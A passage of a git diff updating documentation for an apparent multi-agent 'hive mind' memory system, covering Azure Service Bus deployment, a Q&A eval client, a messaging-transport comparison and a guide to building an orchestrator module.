… `amplihive-app-19` (20 total) | +| Agents | `agent-0` … `agent-99` (100 total, 5 per app) | +| ACR | `hivacrhivemind.azurecr.io` | +| Service Bus namespace | `hive-sb-dj2qo2w7vu5zi` | +| Service Bus topic | `hive-graph` (100 subscriptions, one per agent) | +| Volume type | Ephemeral (`EmptyDir`) — POSIX lock compatible, Kuzu works in containers | +| Memory backend | `cognitive` (Kuzu) — identical to local development | + +--- + +### Choosing a transport + +| Transport | Use case | Latency | Scale | +| ------------------- | ------------------------------- | ------------------------- | -------------- | +| `local` | Development, single machine | Microseconds (in-process) | 1 machine | +| `redis` | Multi-machine on same network | <1ms | 10s of agents | +| `azure_service_bus` | Cloud, multi-region, production | 10-100ms | 100s of agents | + +--- + +### Troubleshooting + +**Agents not sharing facts** + +Check that all agents use the same `topic_name` (default: `hive-graph`) and that +Service Bus subscriptions exist with the correct agent names. + +**High search latency** + +The default `search_timeout=3.0s` waits for remote responses. Reduce with: + +```bash +export AMPLIHACK_MEMORY_SEARCH_TIMEOUT=1.0 +``` + +Or set programmatically: + +```python +NetworkGraphStore(..., search_timeout=1.0) +``` + +**Container Apps not starting** + +Check logs: + +```bash +az containerapp logs show \ + --name prod-hive-app-0 \ + --resource-group hive-mind-rg \ + --follow +``` + +--- + +## Q&A Eval Against the Live Azure Hive + +`experiments/hive_mind/query_hive.py` provides a standalone client and eval +runner for testing the **live** hive deployment. It uses the same +`network_graph.search_query` / `network_graph.search_response` protocol that +the agents themselves use, without requiring any local agent instances. + +### How It Works + +``` +query_hive.py ──publishes──► hive-graph topic (Azure Service Bus) + │ + ┌────────────────┼────────────────┐ + ▼ ▼ ▼ + agent-0 sub agent-1 sub … agent-19 sub + (Container App) (Container App) (Container App) + │ │ │ + └────────────────┼────────────────┘ + ▼ + eval-query-agent sub + (responses collected here) +``` + +1. `query_hive.py` publishes a `network_graph.search_query` event to the topic. +2. Each live agent receives it via its subscription, searches local memory, and + publishes a `network_graph.search_response`. +3. Responses arrive on the `eval-query-agent` subscription and are merged. + +### Prerequisites + +```bash +pip install azure-servicebus +``` + +The `eval-query-agent` subscription must exist on the `hive-graph` topic: + +```bash +az servicebus topic subscription create \ + --resource-group hive-mind-rg \ + --namespace-name hive-sb-dj2qo2w7vu5zi \ + --topic-name hive-graph \ + --name eval-query-agent \ + --max-delivery-count 1 \ + --default-message-time-to-live P1D +``` + +### Running the Q&A Eval + +```bash +# Run built-in 15-question eval suite +python experiments/hive_mind/query_hive.py --run-eval + +# Save results to JSON +python experiments/hive_mind/query_hive.py --run-eval --output results.json + +# Single ad-hoc query +python experiments/hive_mind/query_hive.py --query "What is Newton's second law?" + +# Increase timeout for cold-started agents +python experiments/hive_mind/query_hive.py --run-eval --timeout 15 +``` + +### Environment Variables + +| Variable | Default | Description | +| ------------------------ | ------------------ | ------------------------------------ | +| `HIVE_CONNECTION_STRING` | embedded | Azure Service Bus connection string | +| `HIVE_TOPIC` | `hive-graph` | Topic name | +| `HIVE_SUBSCRIPTION` | `eval-query-agent` | Subscription for receiving responses | +| `HIVE_TIMEOUT` | `10` | Wait timeout per query (seconds) | + +### Eval Dataset + +The built-in dataset covers 15 questions across 5 domains (3 per domain): +biology, chemistry, physics, mathematics, computer_science. Scoring uses +keyword matching — a question is a **hit** if at least one returned fact +contains all expected keywords. + +### Programmatic Usage + +```python +from experiments.hive_mind.query_hive import HiveQueryClient, _score_response + +client = HiveQueryClient(timeout=10) +results = client.query("What is Newton's second law?") +hit = _score_response(results, ["F", "ma"]) +print(f"Hit: {hit}, Results: {len(results)}") +client.close() +``` + +### Live Hive Resources + +| Resource | Name | +| ------------------- | -------------------------------------- | +| Resource group | `hive-mind-rg` | +| Service Bus | `hive-sb-dj2qo2w7vu5zi` | +| Topic | `hive-graph` | +| Eval subscription | `eval-query-agent` | +| Agent subscriptions | `agent-0` … `agent-19` | +| Container Apps | `amplihive-app-0` … `amplihive-app-19` | + +See also: `amplihack-agent-eval/docs/azure-hive-qa-eval.md` for the full +tutorial including troubleshooting and custom dataset instructions. diff --git a/docs/examples/backend_usage.py b/docs/examples/backend_usage.py index 7c691b8ea..c247158a7 100755 --- a/docs/examples/backend_usage.py +++ b/docs/examples/backend_usage.py @@ -12,7 +12,7 @@ from datetime import datetime from amplihack.memory.coordinator import MemoryCoordinator, StorageRequest -from amplihack.memory.types import MemoryType +from amplihack.memory.models import MemoryType async def example_default_backend(): @@ -101,7 +101,7 @@ async def example_working_memory(): coordinator = MemoryCoordinator() - # Store working memory fer active task + # Store working memory for active task request = StorageRequest( content="Currently implementing backend abstraction layer", memory_type=MemoryType.WORKING, diff --git a/docs/examples/evaluate_backends.py b/docs/examples/evaluate_backends.py index b1fa4765f..568433787 100644 --- a/docs/examples/evaluate_backends.py +++ b/docs/examples/evaluate_backends.py @@ -14,7 +14,7 @@ # Add src to path sys.path.insert(0, str(Path(__file__).parent.parent / "src")) -from amplihack.memory.backends import create_backend +from amplihack.memory.sqlite_backend import create_backend from amplihack.memory.coordinator import MemoryCoordinator from amplihack.memory.evaluation import ( BackendComparison, diff --git a/docs/hive_mind/ARCHITECTURE.md b/docs/hive_mind/ARCHITECTURE.md index 7c6772258..eae6e5abf 100644 --- a/docs/hive_mind/ARCHITECTURE.md +++ b/docs/hive_mind/ARCHITECTURE.md @@ -398,5 +398,6 @@ Key constants from `hive_mind/constants.py`: | `src/.../hive_mind/controller.py` | HiveController (desired-state YAML manifests) | | `src/.../hive_mind/distributed.py` | AgentNode, HiveCoordinator | | `src/.../hive_mind/event_bus.py` | EventBus protocol + Local/Azure SB/Redis | +| `src/.../hive_mind/orchestrator.py` | HiveMindOrchestrator (unified four-layer coordination) | | `src/.../hive_mind/constants.py` | All shared constants and thresholds | | `src/.../cognitive_adapter.py` | CognitiveAdapter (local Kuzu + hive bridge) | diff --git a/docs/hive_mind/EVAL.md b/docs/hive_mind/EVAL.md index e2fb6ba07..8a4f1a157 100644 --- a/docs/hive_mind/EVAL.md +++ b/docs/hive_mind/EVAL.md @@ -2,6 +2,9 @@ > New to the hive mind? Start with [GETTING_STARTED.md](GETTING_STARTED.md) for > a step-by-step tutorial from single agent to Azure deployment. +> +> For complete eval instructions (how to run, generate reports, and interpret +> results), see the **[amplihack-agent-eval documentation](https://rysweet.github.io/amplihack-agent-eval/)**. ## Overview @@ -15,6 +18,7 @@ Each agent uses: - **LLM extraction** (~3 calls per content turn) for structured fact extraction - **LLM synthesis** (~2 calls per question) for answer generation - **Hybrid grading** (deterministic rubric + LLM judgment) for scoring +- **Exponential backoff retry** on rate limits (5 retries, 2-32s delay) ## The Three Conditions diff --git a/docs/hive_mind/GETTING_STARTED.md b/docs/hive_mind/GETTING_STARTED.md index 8d7abdc7a..380274334 100644 --- a/docs/hive_mind/GETTING_STARTED.md +++ b/docs/hive_mind/GETTING_STARTED.md @@ -235,6 +235,47 @@ for agent in soc_agents + infra_agents: --- +## Step 3b: Unified Orchestration (HiveMindOrchestrator) + +The `HiveMindOrchestrator` unifies all four layers (Storage, Transport, +Discovery, Query) behind a single API with pluggable promotion policies. + +```python +from amplihack.agents.goal_seeking.hive_mind import ( + InMemoryHiveGraph, LocalEventBus, HiveMindOrchestrator, DefaultPromotionPolicy, +) + +# Create the layers +hive = InMemoryHiveGraph("my-hive") +bus = LocalEventBus() +hive.register_agent("agent_a") +bus.subscribe("agent_a") + +# Compose them via the orchestrator +orch = HiveMindOrchestrator( + agent_id="agent_a", + hive_graph=hive, + event_bus=bus, + policy=DefaultPromotionPolicy(promote_threshold=0.5), +) + +# Store and promote: routes through Layer 1 → 2 → 3 automatically +result = orch.store_and_promote("Biology", "DNA stores genetic information", 0.9) +print(result) # {'promoted': True, 'event_published': True, ...} + +# Query across all layers with deduplication +facts = orch.query_unified("DNA genetics") +print(f"Found {len(facts)} facts") + +# Cleanup +orch.close() +``` + +For the full API and design rationale, see +[MODULE_CREATION_GUIDE.md](MODULE_CREATION_GUIDE.md). + +--- + ## Step 4: Prompt Variants The LearningAgent supports 5 prompt variants that control the system prompt @@ -413,14 +454,14 @@ bash experiments/hive_mind/deploy_azure_hive.sh --cleanup ### What Gets Provisioned -| Resource | Details | -| ------------------ | --------------------------------------------------------- | -| Resource Group | `hive-mind-eval-rg` (eastus) | -| Service Bus | Standard SKU, `hive-events` topic, 21 subscriptions | -| Storage Account | Azure Files share for Kuzu DB persistence | -| Container Registry | Basic SKU for agent images | -| Container Apps | 21 apps (20 domain + 1 adversary), 2.0 CPU / 4.0 GiB each | -| Log Analytics | Centralized logging workspace | +| Resource | Details | +| ------------------ | ------------------------------------------------------------------------- | +| Resource Group | `hive-mind-rg` (eastus) | +| Container Registry | `hivacrhivemind` — Basic SKU, admin enabled | +| Service Bus | `hive-sb-dj2qo2w7vu5zi` — Standard SKU, `hive-events` topic, 21 subs | +| Storage Account | Azure Files share for Kuzu DB persistence | +| Container Apps | 21 apps (20 domain + 1 adversary), 2.0 CPU / 4.0 GiB each | +| Log Analytics | Centralized logging workspace | ### 21 Containers @@ -438,7 +479,7 @@ Each container runs the `agent_runner.py` HTTP server: | Aspect | Local (in-process) | Azure (containers) | | ------------------- | ---------------------------------------- | ---------------------------------------- | -| Hive sharing | Shared Python object (InMemoryHiveGraph) | Service Bus topic/subscription broadcast | +| Hive sharing | Shared Python object (InMemoryHiveGraph or DistributedHiveGraph) | Service Bus topic/subscription broadcast via NetworkGraphStore | | Fact propagation | Instant (same memory space) | Async (Service Bus message delivery) | | Storage | Temp directories | Azure Files (persistent Kuzu DBs) | | Topology | Flat or federated tree | Flat broadcast (all agents subscribe) | @@ -447,7 +488,7 @@ Each container runs the `agent_runner.py` HTTP server: ### Environment Overrides ```bash -export HIVE_RESOURCE_GROUP="my-rg" # Default: hive-mind-eval-rg +export HIVE_RESOURCE_GROUP="my-rg" # Default: hive-mind-rg export HIVE_LOCATION="westus2" # Default: eastus export HIVE_AGENT_COUNT=10 # Default: 20 export HIVE_IMAGE_TAG="v2" # Default: latest diff --git a/docs/hive_mind/MESSAGING_TRANSPORT_INVESTIGATION.md b/docs/hive_mind/MESSAGING_TRANSPORT_INVESTIGATION.md new file mode 100644 index 000000000..bf85f0fc0 --- /dev/null +++ b/docs/hive_mind/MESSAGING_TRANSPORT_INVESTIGATION.md @@ -0,0 +1,375 @@ +# Messaging Transport Investigation: Hive Mind Distributed Architecture + +**Branch:** `feat/distributed-hive-mind` +**Date:** 2026-03-07 +**Status:** Complete + +--- + +## Executive Summary + +This document captures research and recommendations for the messaging transport layer of the distributed hive mind architecture. After analyzing the existing codebase, comparing Azure Event Hubs vs Service Bus, evaluating abstraction libraries (Dapr, CloudEvents), and verifying the provisioned Azure infrastructure, the **recommendation is:** + +- **Primary transport: Azure Service Bus Premium** (already provisioned; already used in codebase) +- **Abstraction layer: Dapr pub/sub** (optional, for future cloud-portability) +- **Event schema: CloudEvents v1.0** (via Dapr automatically, or manually via `BusEvent.to_json()`) +- **Secondary transport: Azure Event Hubs** (for telemetry streams and broadcast replay) + +--- + +## 1. Existing Transport Layer in Haymaker Repo + +### Architecture Overview + +The distributed hive mind already has a **transport-agnostic event bus** in place with three backend implementations: + +| Backend | File | Use Case | +|---|---|---| +| `LocalEventBus` | `src/amplihack/agents/goal_seeking/hive_mind/event_bus.py` | Testing, single-machine | +| `AzureServiceBusEventBus` | same | Production on Azure | +| `RedisEventBus` | same | Low-latency dev/staging | + +**Factory function:** +```python +from amplihack.agents.goal_seeking.hive_mind.event_bus import create_event_bus + +bus = create_event_bus( + backend="azure", # "local" | "azure" | "redis" + connection_string="...", # Service Bus conn str + topic_name="hive-graph", # Default topic +) +``` + +### Core Abstractions + +**`BusEvent` (immutable data model):** +```python +@dataclass(frozen=True) +class BusEvent: + event_id: str # UUID4 hex + event_type: str # FACT_LEARNED, QUERY, SEARCH_QUERY, etc. + source_agent: str # Originating agent ID + timestamp: float # Unix epoch + payload: dict # Event-specific data +``` + +**`EventBus` Protocol (transport interface):** +```python +class EventBus(Protocol): + def publish(self, event: BusEvent) -> None: ... + def subscribe(self, agent_id: str, event_types: list[str] | None = None) -> None: ... + def unsubscribe(self, agent_id: str) -> None: ... + def poll(self, agent_id: str) -> list[BusEvent]: ... + def close(self) -> None: ... +``` + +### Service Bus Implementation Details + +The `AzureServiceBusEventBus` backend uses: + +- **Topic:** `hive-graph` (configurable via `topic_name` kwarg) +- **Per-agent subscriptions:** `agent-{i}` — one subscription per agent +- **SQL filter rules:** Server-side filtering by `event_type` on each subscription +- **Dead-lettering:** Malformed messages are automatically dead-lettered +- **Peek-lock:** Messages locked during processing (5s max wait per poll) +- **Message completion:** Automatic after successful deserialization +- **Tier used:** **Premium** (1 capacity unit) per `main.bicep` + +### Transport Configuration + +Transport is selected via environment variables (or explicit kwargs): + +```bash +AMPLIHACK_MEMORY_TRANSPORT=azure_service_bus # "local" | "redis" | "azure_service_bus" +AMPLIHACK_MEMORY_CONNECTION_STRING=Endpoint=sb://... +AMPLIHACK_MEMORY_TOPOLOGY=distributed +AMPLIHACK_MEMORY_BACKEND=cognitive +``` + +### Event Types Published + +| Event Type | Direction | Purpose | +|---|---|---| +| `network_graph.create_node` | broadcast | Replicate node creation to all agents | +| `network_graph.create_edge` | broadcast | Replicate edge creation to all agents | +| `network_graph.search_query` | fan-out | Request knowledge from peer agents | +| `network_graph.search_response` | reply | Return search results to requester | +| `QUERY` | fan-out | Ask hive a question (OODA loop) | +| `QUERY_RESPONSE` | reply | Answer hive query | +| `LEARN_CONTENT` | broadcast | Notify agents of new learned content | + +### Transport Layer File Map + +``` +src/amplihack/agents/goal_seeking/hive_mind/ +├── event_bus.py # EventBus protocol + 3 backend implementations +├── distributed_hive_graph.py # DHT-sharded hive graph (local bus only) +├── hive_graph.py # HiveGraph protocol (abstract) +├── dht.py # Consistent hashing (HashRing, DHTRouter) +├── gossip.py # Bloom-filter gossip for convergence +└── controller.py # Multi-hive orchestration + +src/amplihack/memory/ +├── network_store.py # NetworkGraphStore: wraps GraphStore + event bus +├── facade.py # Memory: high-level API used by OODA loop +└── config.py # MemoryConfig: transport selection + env vars + +deploy/azure_hive/ +├── main.bicep # IaC: Service Bus Premium + Container Apps +└── agent_entrypoint.py # OODA loop: observe/orient (events) + act +``` + +--- + +## 2. Event Hubs vs Service Bus: Comparison + +### Feature Matrix + +| Feature | Azure Event Hubs | Azure Service Bus | +|---|---|---| +| **Model** | Append-only log (Kafka-like) | Message broker (AMQP) | +| **Fan-out / Broadcast** | Excellent — consumer groups read independently | Via topics + subscriptions (up to 2,000 subs) | +| **Competing consumers** | Complex — requires partition coordination | Native — queue peek-lock | +| **Message replay** | Yes — rewind to any offset in retention window | No — messages deleted on consumption | +| **Ordering guarantee** | Per-partition FIFO only | Per-session FIFO (sessions), else best-effort | +| **Dead-letter queue** | Not native — must implement in app code | Built-in DLQ on every queue and subscription | +| **Request/Reply (RPC)** | Not supported | Native — `ReplyTo` + `ReplyToSessionId` | +| **Per-message routing** | No server-side filter rules | SQL filter rules on subscriptions | +| **Duplicate detection** | None at service layer | Configurable window per entity | +| **Transactions** | None | Multi-entity atomic transactions | +| **Message size** | Up to 1 MB (Standard), higher on Premium | 256 KB (Standard), up to 100 MB (Premium) | +| **Throughput ceiling** | Millions/sec (horizontal via partitions) | High but not extreme — reliability first | +| **Retention** | 1–7 days (Standard), up to 90 days (Premium) | Until consumed or TTL expires | +| **Pricing (base)** | Throughput Units / Processing Units | Per operation (Standard) or per MU-day (Premium) | +| **Dapr support** | `pubsub.azure.eventhubs` (needs Blob Storage for checkpoints) | `pubsub.azure.servicebus.topics` (first-class) | + +### Pattern Suitability for Hive Mind + +| Communication Pattern | Hive Mind Use | Best Fit | +|---|---|---| +| Fan-out: broadcast LEARN_CONTENT to all agents | All agents receive new facts | **Event Hubs** (consumer groups) or Service Bus topics | +| Fan-out search query to peer agents | `network_graph.search_query` | Service Bus topics + filter subs | +| Request/reply: `QUERY` → `QUERY_RESPONSE` | Agent asks hive a question | **Service Bus** sessions | +| Competing-consumer task dispatch | Agent pool picks up work items | **Service Bus** queues | +| Dead-letter poisoned events | Malformed `BusEvent` | **Service Bus** built-in DLQ | +| Replay for new agent types bootstrapping | New agent reads full history | **Event Hubs** | +| Telemetry / observability streams | High-volume agent logs/metrics | **Event Hubs** | +| Ordered multi-step task chains | OODA tick ordering per agent | **Service Bus** sessions | + +### Recommendation + +**Service Bus is the primary transport for inter-agent coordination.** It directly supports the hive mind's key patterns: fan-out search queries, request/reply queries, dead-lettering, and per-subscription SQL filters. The existing code already implements this correctly. + +**Event Hubs should be used as a secondary stream** for telemetry, observability, and enabling new agent types to replay history. It is not a replacement for Service Bus in the hive mind's messaging patterns. + +--- + +## 3. Abstraction Library Evaluation + +### 3.1 Dapr Pub/Sub + +**What it is:** A CNCF-graduated distributed runtime that abstracts messaging behind a sidecar HTTP/gRPC API. Applications call `localhost:3500/publish`; the sidecar handles the actual broker interaction. + +**Dapr pub/sub with Service Bus:** +```yaml +# dapr/components/pubsub.yaml +apiVersion: dapr.io/v1alpha1 +kind: Component +metadata: + name: hive-pubsub +spec: + type: pubsub.azure.servicebus.topics + version: v1 + metadata: + - name: connectionString + secretKeyRef: + name: sb-secret + key: connectionString +``` + +**Agent code (before Dapr):** +```python +# Direct Azure SDK +sender = ServiceBusSender(conn_str, topic_name="hive-graph") +sender.send_messages(ServiceBusMessage(json.dumps(event.to_dict()))) +``` + +**Agent code (after Dapr):** +```python +# Dapr sidecar — no Azure SDK +import httpx +httpx.post("http://localhost:3500/v1.0/publish/hive-pubsub/hive-graph", + json=event.to_dict()) +``` + +**Pros:** +- Transport portability: swap Service Bus for Kafka/Redis/RabbitMQ by changing one YAML +- Built-in at-least-once delivery regardless of backend capabilities +- Dead-letter topics managed by Dapr uniformly +- CloudEvents 1.0 envelope added automatically +- **Dapr Agents** (March 2025): virtual actor model purpose-built for multi-agent coordination +- Built-in distributed tracing (OpenTelemetry), metrics, and service-to-service encryption + +**Cons:** +- Sidecar overhead: each agent pod needs a sidecar (adds ~50–200 MB RAM per agent) +- Local development requires `dapr run` or Docker Compose +- Dapr Agents is new (announced March 2025); production maturity is still evolving +- Adds operational surface: Dapr control plane (operator, sentry, placement) on Kubernetes +- The existing `EventBus` protocol already provides the same abstraction at the Python level + +**Verdict:** Dapr is **recommended for future adoption** when the hive mind needs cloud-portability or Kubernetes-native deployment at scale. For the current Container Apps deployment backed by Service Bus, the existing `EventBus` protocol provides equivalent abstraction with no sidecar overhead. Migrate to Dapr when multi-cloud or on-prem portability becomes a requirement, or when adopting the Dapr Agents framework for actor-based state management. + +### 3.2 CloudEvents Specification + +**What it is:** A CNCF-graduated specification (v1.0, graduated January 2024) that standardizes the event envelope schema. It is **not** a transport or delivery system — purely a schema contract. + +**Required CloudEvents fields:** +```json +{ + "specversion": "1.0", + "id": "abc123", + "source": "/agents/agent-0", + "type": "com.amplihack.hive.fact_learned", + "time": "2026-03-07T10:00:00Z", + "datacontenttype": "application/json", + "data": { ... } +} +``` + +**Relationship to existing `BusEvent`:** +```python +# Current BusEvent fields +@dataclass(frozen=True) +class BusEvent: + event_id: str # → CloudEvents "id" + event_type: str # → CloudEvents "type" + source_agent: str # → CloudEvents "source" + timestamp: float # → CloudEvents "time" + payload: dict # → CloudEvents "data" +``` + +`BusEvent` is structurally equivalent to a CloudEvents envelope. Adopting CloudEvents would require adding `specversion: "1.0"` and a URI `source` format — a minimal change. + +**Azure support:** +- Service Bus: CloudEvents payloads supported natively (message body is schema-agnostic) +- Event Hubs: CloudEvents supported via Kafka protocol binding +- Event Grid: Native CloudEvents v1.0 as both input and output schema + +**Dapr relationship:** Dapr automatically wraps all pub/sub messages in CloudEvents 1.0 format. Using Dapr means CloudEvents adoption is automatic. + +**Verdict:** CloudEvents is **recommended as the standard event envelope** for all hive mind inter-agent messages. The migration from current `BusEvent` is minimal (add `specversion`, normalize `source` to a URI). If Dapr is adopted, CloudEvents compliance comes for free. If staying with the direct Service Bus SDK, add a CloudEvents serializer wrapper around `BusEvent.to_json()`. + +### 3.3 Abstraction Comparison + +| Dimension | Dapr | CloudEvents | Existing EventBus Protocol | +|---|---|---|---| +| **What it abstracts** | Transport (which broker) | Schema (envelope format) | Transport (which broker) | +| **Language** | Any (HTTP/gRPC sidecar) | Any (JSON/binary spec) | Python only | +| **Overhead** | Sidecar process per pod | Zero (schema contract only) | Zero | +| **Lock-in reduction** | Full broker portability | Interoperability across systems | Python-level portability | +| **Production readiness** | High (CNCF graduated) | High (CNCF graduated) | Medium (internal only) | +| **Already in use** | No | No (but BusEvent is compatible) | Yes | + +--- + +## 4. Provisioned Azure Infrastructure + +### Premium Service Bus Namespace + +A Premium Service Bus namespace is provisioned and active for the hive mind deployment: + +| Property | Value | +|---|---| +| **Namespace name** | `hive-sb-prem-dj2qo2w7vu5zi` | +| **Resource group** | `hive-mind-rg` | +| **Location** | East US | +| **SKU** | Premium | +| **Capacity** | 1 Messaging Unit | +| **Status** | Active | +| **Endpoint** | `https://hive-sb-prem-dj2qo2w7vu5zi.servicebus.windows.net:443/` | + +This namespace is provisioned via `deploy/azure_hive/main.bicep` and matches the `AzureServiceBusEventBus` backend configuration in the code. + +**Why Premium tier:** +- Dedicated resources (no noisy neighbors) +- Message size up to 100 MB (vs 256 KB on Standard) +- VNet integration for network isolation +- Flat pricing per messaging unit (predictable cost at scale) +- Required for production Container Apps deployment + +### Existing Standard Namespace (staging/dev) + +| Property | Value | +|---|---| +| **Namespace name** | `hive-sb-dj2qo2w7vu5zi` | +| **Resource group** | `hive-mind-rg` | +| **Location** | West US 2 | +| **SKU** | Standard | +| **Use** | Development / staging | + +--- + +## 5. Recommendations Summary + +### Immediate (current state is good) + +1. **Keep Service Bus Premium as primary transport** — the existing `AzureServiceBusEventBus` implementation is correct and well-designed. No changes needed. + +2. **Keep the `EventBus` protocol** — the three-backend design (`local`/`redis`/`azure`) provides the right abstraction for testing and production without sidecar overhead. + +3. **Adopt CloudEvents schema for `BusEvent`** — add `specversion: "1.0"` and normalize `source_agent` to a URI (e.g., `/agents/{agent_id}`) in `BusEvent.to_json()`. This enables interoperability with Event Grid, external consumers, and future Dapr migration. + +### Near-term + +4. **Add Event Hubs for telemetry** — route agent metrics, OODA tick counts, and memory stats to an Event Hubs namespace for stream analytics and dashboarding via Azure Monitor / Stream Analytics. + +5. **Evaluate Dapr Agents** — once Dapr Agents (March 2025) reaches GA stability, evaluate replacing the `NetworkGraphStore` background thread model with Dapr virtual actors. This would give durable state, retry, and multi-agent workflow orchestration. + +### Architecture Diagram + +``` +┌─────────────────────────────────────────────────────────────────────┐ +│ Azure Container Apps (hive mind agents) │ +│ │ +│ ┌───────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │ +│ │ Agent-0 │ │ Agent-1 │ │ Agent-2 │ │ Agent-N │ │ +│ │ OODA │ │ OODA │ │ OODA │ │ OODA │ │ +│ │ Memory │ │ Memory │ │ Memory │ │ Memory │ │ +│ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ │ +│ │ │ │ │ │ +│ ┌─────▼───────────────▼───────────────▼───────────────▼─────┐ │ +│ │ AzureServiceBusEventBus │ │ +│ │ (EventBus Protocol → Topic: hive-graph) │ │ +│ └─────────────────────────┬───────────────────────────────────┘ │ +└────────────────────────────│────────────────────────────────────────┘ + │ AMQP / Service Bus SDK +┌────────────────────────────▼────────────────────────────────────────┐ +│ Azure Service Bus Premium (hive-sb-prem-dj2qo2w7vu5zi, eastus) │ +│ │ +│ Topic: hive-graph │ +│ ├── Subscription: agent-0 [SQL filter: eventtype IN (...)] │ +│ ├── Subscription: agent-1 [SQL filter: eventtype IN (...)] │ +│ ├── ... │ +│ └── Dead-letter queue (auto): malformed events │ +└──────────────────────────────────────────────────────────────────────┘ + ▲ + Future: CloudEvents envelope │ + Future: Dapr sidecar abstraction │ + Future: Event Hubs telemetry sidecar +``` + +--- + +## 6. References + +- [Azure Service Bus vs Event Hubs - Microsoft Learn](https://learn.microsoft.com/en-us/azure/service-bus-messaging/compare-messaging-services) +- [Service Bus Premium tier - Microsoft Learn](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-premium-messaging) +- [Event Hubs features and tiers - Microsoft Learn](https://learn.microsoft.com/en-us/azure/event-hubs/compare-tiers) +- [Dapr pub/sub overview - Dapr Docs](https://docs.dapr.io/developing-applications/building-blocks/pubsub/pubsub-overview/) +- [Dapr AI Agents announcement - CNCF (March 2025)](https://www.cncf.io/blog/2025/03/12/announcing-dapr-ai-agents/) +- [CloudEvents v1.0 specification - GitHub](https://github.com/cloudevents/spec) +- [Hive Mind Architecture](./ARCHITECTURE.md) +- [Hive Mind Design](./DESIGN.md) +- Transport layer code: `src/amplihack/agents/goal_seeking/hive_mind/event_bus.py` +- Network store: `src/amplihack/memory/network_store.py` +- Azure IaC: `deploy/azure_hive/main.bicep` diff --git a/docs/hive_mind/MODULE_CREATION_GUIDE.md b/docs/hive_mind/MODULE_CREATION_GUIDE.md new file mode 100644 index 000000000..76eb2700d --- /dev/null +++ b/docs/hive_mind/MODULE_CREATION_GUIDE.md @@ -0,0 +1,245 @@ +# Module Creation Guide: How the HiveMindOrchestrator Was Built + +This document explains the process used to identify the architectural gap and implement +`hive_mind/orchestrator.py` as a functional brick. Use it as a template when creating +future modules for the `feat/distributed-hive-mind` branch or any part of amplihack. + +--- + +## 1. Identifying the Gap + +### Method: Read the Architecture First + +Before writing a single line of code, read: + +1. **`DESIGN.md`** — the authoritative description of the intended system +2. **`__init__.py`** — what is already exported (the "studs" on existing bricks) +3. **All module headers** — the "Public API" section in each file's docstring + +In `DESIGN.md`, the four-layer architecture was described: + +``` +Layer 1: HiveGraph (storage) +Layer 2: EventBus (transport) +Layer 3: Gossip (discovery) +Layer 4: Query deduplication +``` + +And an experimental result claimed **94% accuracy with a unified approach** vs. 47-57% for individual +layers. But no class in the codebase stitched those four layers together. + +### Checklist for Gap Identification + +- [ ] Does `DESIGN.md` describe a class or role that no file implements? +- [ ] Does any module comment reference something as "TODO" or describe something "delegated" elsewhere? +- [ ] Is there a `_promote_to_hive()` that does a direct call with no policy or routing decision? +- [ ] Does `__init__.py.__all__` list concepts that don't correspond to any file? + +In this case: `cognitive_adapter._promote_to_hive()` called `hive.promote_fact()` directly — +hardcoded single-layer behavior with no policy, no event bus involvement, no gossip. +That was the architectural seam where the missing module belonged. + +--- + +## 2. Defining the Module's Single Responsibility + +The Bricks and Studs philosophy requires **one class, one job**. Before writing the class, +write one sentence: + +> `HiveMindOrchestrator` routes fact operations through the appropriate architectural layer +> based on a configurable policy. + +Everything in the module either: +- **Fulfills** that responsibility, or +- **Is removed** + +To make the single responsibility concrete, answer these three questions: + +| Question | Answer | +|---|---| +| What does this module **take in**? | A fact (concept + content + confidence) or a query | +| What does this module **produce**? | A result dict (promoted, event_published, gossip_triggered) or a list of facts | +| What does this module **NOT do**? | Store facts itself, own the event bus, run background threads | + +--- + +## 3. Designing the Interface (the "Studs") + +Studs are what other bricks connect to. Design them before implementing anything. + +### Start with the Protocol + +If your module makes decisions based on external rules, extract those rules into a `Protocol`: + +```python +@runtime_checkable +class PromotionPolicy(Protocol): + def should_promote(self, fact: HiveFact, source_agent: str) -> bool: ... + def should_gossip(self, fact: HiveFact, source_agent: str) -> bool: ... + def should_broadcast(self, fact: HiveFact, source_agent: str) -> bool: ... +``` + +Then provide a `Default*` dataclass implementation using constants from `constants.py` — +no magic numbers in the module itself. + +### Design the Return Dicts + +Every method returns a dict with named keys, not a naked bool or tuple: + +```python +# Good: caller knows what happened at each layer +{"fact_id": "hf_abc", "promoted": True, "event_published": True, "gossip_triggered": False} + +# Bad: caller loses context +True +``` + +This pattern appears throughout the codebase (see `distributed.py`, `controller.py`). + +--- + +## 4. Implementing (No Stubs) + +A "stub" is any function that: +- Returns a hardcoded value (`return {}`) +- Has only `...` in the body +- Raises `NotImplementedError` + +Every method must do real work. For `store_and_promote`: + +```python +def store_and_promote(self, concept, content, confidence, tags=None): + # Build the fact + fact = HiveFact(...) + + # Layer 1: promote if policy allows + if self._policy.should_promote(fact, self._agent_id): + fact_id = self._hive_graph.promote_fact(self._agent_id, fact) + promoted = True + + # Layer 2: publish event if promoted + if promoted: + self._event_bus.publish(make_event("FACT_PROMOTED", ...)) + + # Layer 3: gossip if policy allows and peers exist + if _HAS_GOSSIP and self._peers and self._policy.should_gossip(fact, ...): + _run_gossip_round(self._hive_graph, self._peers, self._gossip_protocol) + + return {"fact_id": ..., "promoted": ..., "event_published": ..., "gossip_triggered": ...} +``` + +### Graceful Degradation Pattern + +Use `try/except ImportError` at module level for optional dependencies: + +```python +try: + from .gossip import GossipProtocol, run_gossip_round as _run_gossip_round + _HAS_GOSSIP = True +except ImportError: + _HAS_GOSSIP = False +``` + +Then guard usage: `if _HAS_GOSSIP and ...`. +This pattern appears in every module in `hive_mind/`. + +--- + +## 5. Wiring Into Existing Interfaces + +The orchestrator connects to three existing interfaces: + +| Interface | How It Connects | +|---|---| +| `HiveGraph` (Layer 1) | `hive_graph.promote_fact()` and `query_facts()` / `query_federated()` | +| `EventBus` (Layer 2) | `event_bus.publish()`, `event_bus.poll()`, `event_bus.unsubscribe()` | +| `GossipProtocol` (Layer 3) | `run_gossip_round(hive_graph, peers, protocol)` | + +The orchestrator is injected with these at construction time — it does not create them. +This is the **dependency injection** pattern: let callers compose the system. + +### Integration with CognitiveAdapter + +The existing `cognitive_adapter._promote_to_hive()` still calls `hive.promote_fact()` directly. +To fully integrate the orchestrator, a caller can pass the orchestrator as the `hive_store`: + +```python +# The orchestrator satisfies the duck-typed promote_fact interface +adapter = CognitiveAdapter( + agent_name="agent_a", + 